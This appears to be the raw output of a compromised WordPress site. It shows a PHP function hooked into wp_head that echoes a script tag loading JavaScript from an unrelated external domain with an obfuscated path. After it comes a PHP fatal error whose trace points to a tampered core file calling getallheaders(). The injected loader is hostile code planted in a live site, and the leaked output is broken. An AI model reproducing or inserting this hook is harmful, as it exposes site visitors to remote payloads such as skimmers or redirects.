function claass() {
   echo '<script async src="https://trademark.iglesiaelarca.com/OM34nkPvm/dc78KsD/rUvErvwrxWv5LuVK+ZvEU="></script>';
}
add_action('wp_head', 'claass')<br />
<b>Fatal error</b>:  Uncaught Error: Call to undefined function getallheaders() in /web/htdocs/www.insiemeturismo.com/home/wp-includes/class-wp-matchesmapregex.php:1
Stack trace:
#0 /web/htdocs/www.insiemeturismo.com/home/wp-settings.php(118): require()
#1 /web/htdocs/www.insiemeturismo.com/home/wp-config.php(103): require_once('/web/htdocs/www...')
#2 /web/htdocs/www.insiemeturismo.com/home/wp-load.php(38): require_once('/web/htdocs/www...')
#3 /web/htdocs/www.insiemeturismo.com/home/wp-blog-header.php(13): require_once('/web/htdocs/www...')
#4 /web/htdocs/www.insiemeturismo.com/home/index.php(11): require('/web/htdocs/www...')
#5 {main}
  thrown in <b>/web/htdocs/www.insiemeturismo.com/home/wp-includes/class-wp-matchesmapregex.php</b> on line <b>1</b><br />